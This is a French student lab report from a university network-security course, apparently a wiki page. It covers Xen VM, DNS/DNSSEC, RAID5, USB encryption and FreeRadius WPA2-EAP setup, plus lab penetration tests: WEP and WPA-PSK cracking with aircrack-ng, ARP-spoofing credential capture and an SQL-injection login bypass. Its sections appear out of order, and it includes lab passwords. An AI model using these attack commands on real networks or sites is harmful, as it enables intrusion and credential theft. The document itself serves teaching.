5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T16:10:32Z

Lchenu : /* Sécurisation de site web par certificat */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
